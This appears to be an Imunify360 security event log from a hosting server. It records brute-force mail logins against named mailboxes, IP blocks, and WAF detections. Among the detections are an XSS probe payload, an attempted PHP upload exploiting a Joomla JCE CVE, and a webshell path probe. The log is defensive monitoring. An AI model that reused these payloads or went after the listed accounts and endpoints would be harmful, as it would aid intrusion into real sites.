abuser: 111.70.32.3
country_id: 1668284
description:
2026-07-22 12:52:01 dovecot_login authenticator failed for H=111-70-32-3.emome-ip.hinet.net (176x212x241x100.dynamic.ulsk.ertelecom.ru) [111.70.32.3]:59998: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 223.181.11.181
country_id: 1269750
domain: fefkadirectorsunion.com
description:
IM360 WAF: Special shell symbol in request||MV:director-photo|FULLPATH}||MVN:REQUEST_URI||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.114.177
country_id: 1835841
description:
2026-07-22 12:56:05 dovecot_login authenticator failed for H=([206.62.136.111]) [59.8.114.177]:58491: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.218.109.180
country_id: 1668284
description:
2026-07-22 12:56:23 dovecot_login authenticator failed for H=([176.197.148.58]) [180.218.109.180]:36686: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.8.114.177
country_id: 1835841
description:
Jul 22 12:56:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.8.114.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 12:57:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.145.107.251
country_id: 6252001
description:
Jul 22 12:58:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.145.107.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-22 12:58:02 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (radioncy) [73.145.107.251]:48318: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-07-22 12:58:46 dovecot_login authenticator failed for H=([49.124.148.204]) [101.13.1.58]:54406: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 12:58:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.116.117.203
country_id: 2921044
description:
Jul 22 12:59:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.116.117.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-22 12:59:02 dovecot_login authenticator failed for H=(nsg-corporate-13.147.187.122.airtel.in) [51.116.117.203]:38716: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://samedayhvacrepair3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.1.58
country_id: 1668284
description:
Jul 22 12:58:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.1.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.252.168.4
country_id: 1269750
description:
Jul 22 13:03:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.252.168.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-22 13:03:06 dovecot_login authenticator failed for H=a4.ucndns.in ([2.229.200.226]) [103.252.168.4]:58684: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.237.122
country_id: 1269750
description:
Jul 22 13:05:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.237.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.237.122
country_id: 1269750
description:
2026-07-22 13:05:04 dovecot_login authenticator failed for H=(78-67-161-64-no2550.tbcn.telia.com) [122.187.237.122]:33423: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 13:08:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-22 13:11:12 dovecot_login authenticator failed for H=(61-216-140-244.hinet-ip.hinet.net) [13.68.214.34]:54944: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.67.161.64
country_id: 2661886
description:
Jul 22 13:11:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.67.161.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-22 13:11:38 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com (corporativo.static.gvt.net.br) [78.67.161.64]:38882: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 13:14:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 103.119.99.82
country_id: 1831722
domain: yukticlick.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.32||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><img src=x onerror=alert(1)>||


plugin: modsec
rule: 77469916
abuser: 103.119.99.82
country_id: 1831722
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5721.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 13:18:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 13:21:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 13:30:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-22 13:33:17 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([77.53.193.47]) [121.6.81.59]:36444: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.6.81.59
country_id: 1880251
description:
Jul 22 13:33:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.6.81.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.13.50
country_id: 1269750
description:
Jul 22 13:33:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.13.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-22 13:33:06 dovecot_login authenticator failed for H=([49.204.124.32]) [103.109.13.50]:55370: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.237.57.13
country_id: 2510769
description:
Jul 22 13:35:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.237.57.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 13:37:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 13:38:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.93.169
country_id: 337996
description:
Jul 22 13:38:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.93.169 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-22 13:38:33 dovecot_login authenticator failed for H=([178.178.222.53]) [196.188.93.169]:2269: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.153.187.49
country_id: 1835841
description:
Jul 22 13:39:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.153.187.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.187.49
country_id: 1835841
description:
2026-07-22 13:39:18 dovecot_login authenticator failed for H=([72.207.109.1]) [124.153.187.49]:38366: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.211.1.171
country_id: 2077456
description:
Jul 22 13:38:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.211.1.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.211.1.171
country_id: 2077456
description:
2026-07-22 13:38:48 dovecot_login authenticator failed for H=([82.209.191.11]) [157.211.1.171]:56313: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 13:40:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 22 13:41:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 13:43:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 13:44:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 27.34.69.230
country_id: 1282988
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70331.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d7d7e8c15c0529b0b45868e6ac8828ff120695a7||Title:0xe1828a25||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 13:52:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.231.243.28
country_id: 6252001
description:
Jul 22 13:58:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.231.243.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-22 13:58:33 dovecot_login authenticator failed for H=([49.124.151.17]) [50.231.243.28]:55116: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.161.26.125
country_id: 1835841
description:
Jul 22 13:58:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.161.26.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-22 13:58:51 dovecot_login authenticator failed for H=([72.207.113.126]) [112.161.26.125]:60078: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 14:01:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 14:01:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 14:04:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 79.141.36.131
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.6367.91 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/metrodigitals/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 14:06:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 14:13:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 22 14:22:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 14:22:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.125.203.170
country_id: 1733045
description:
Jul 22 14:22:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.125.203.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.170
country_id: 1733045
description:
2026-07-22 14:22:25 dovecot_login authenticator failed for H=(mail.cartvelly.com) [49.125.203.170]:57672: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.91.46.151
country_id: 6252001
description:
Jul 22 14:22:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.91.46.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-22 14:22:51 dovecot_login authenticator failed for H=([152.52.239.169]) [173.91.46.151]:58528: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.234.138.49
country_id: 6252001
description:
Jul 22 14:23:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.234.138.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-22 14:23:05 dovecot_login authenticator failed for H=([220.82.50.65]) [47.234.138.49]:55422: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 14:24:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 14:28:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 14:36:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.91.173.173
country_id: 6252001
domain: www.sriganapathyent.in
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.4.209.51
country_id: 2661886
description:
Jul 22 14:40:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.4.209.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-22 14:40:48 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se (eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [155.4.209.51]:59686: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.207.248.138
country_id: 2328926
description:
Jul 22 14:41:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.207.248.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.252.168.4
country_id: 1269750
description:
Jul 22 14:41:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.252.168.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.252.168.4
country_id: 1269750
description:
2026-07-22 14:41:11 dovecot_login authenticator failed for H=a4.ucndns.in (111-70-38-53.emome-ip.hinet.net) [103.252.168.4]:54553: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-22 14:41:30 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net ([142.54.231.33]) [24.119.52.56]:48504: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-22 14:41:07 dovecot_login authenticator failed for H=([103.176.160.146]) [41.207.248.138]:48959: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.119.52.56
country_id: 6252001
description:
Jul 22 14:41:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.119.52.56 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://dallas.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-22 14:45:21 dovecot_login authenticator failed for H=([177.7.30.137]) [117.211.15.93]:49268: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 14:45:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.211.15.93
country_id: 1269750
description:
Jul 22 14:45:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.211.15.93 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.219.86.171
country_id: 6252001
domain: www.sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.65
country_id: 3686110
description:
2026-07-22 14:56:55 dovecot_login authenticator failed for H=([123.212.9.122]) [206.62.136.65]:60357: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-22 14:57:07 dovecot_login authenticator failed for H=([111.26.69.160]) [41.219.149.74]:46478: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.127.42
country_id: 1269750
description:
Jul 22 14:57:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.127.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-22 14:57:18 dovecot_login authenticator failed for H=([72.195.101.102]) [182.95.127.42]:60966: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.152.58.233
country_id: 6252001
description:
Jul 22 14:56:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.152.58.233 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.152.58.233
country_id: 6252001
description:
2026-07-22 14:56:45 dovecot_login authenticator failed for H=([67.201.57.102]) [104.152.58.233]:45528: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 14:58:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.92.51.188
country_id: 1269750
description:
Jul 22 15:01:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.92.51.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.51.188
country_id: 1269750
description:
2026-07-22 15:01:49 dovecot_login authenticator failed for H=([174.75.211.217]) [59.92.51.188]:48801: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 15:04:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.149.153.106
country_id: 3175395
description:
Jul 22 15:13:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.149.153.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.149.153.106
country_id: 3175395
description:
2026-07-22 15:13:39 dovecot_plain authenticator failed for H=(trumad) [88.149.153.106]:53595: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.198.42
country_id: 1269750
description:
Jul 22 15:17:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.198.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-22 15:17:36 dovecot_login authenticator failed for H=(111-70-51-3.emome-ip.hinet.net) [152.52.198.42]:58432: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.1.75
country_id: 1668284
description:
Jul 22 15:17:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.1.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.75
country_id: 1668284
description:
2026-07-22 15:17:53 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [101.13.1.75]:38966: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 15:20:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-22 15:20:48 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([199.102.105.241]) [78.66.44.246]:58432: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-22 15:21:17 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([109.173.107.163]) [89.67.37.52]:41607: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 15:25:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 15:26:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: www.travelinbh.com
description:
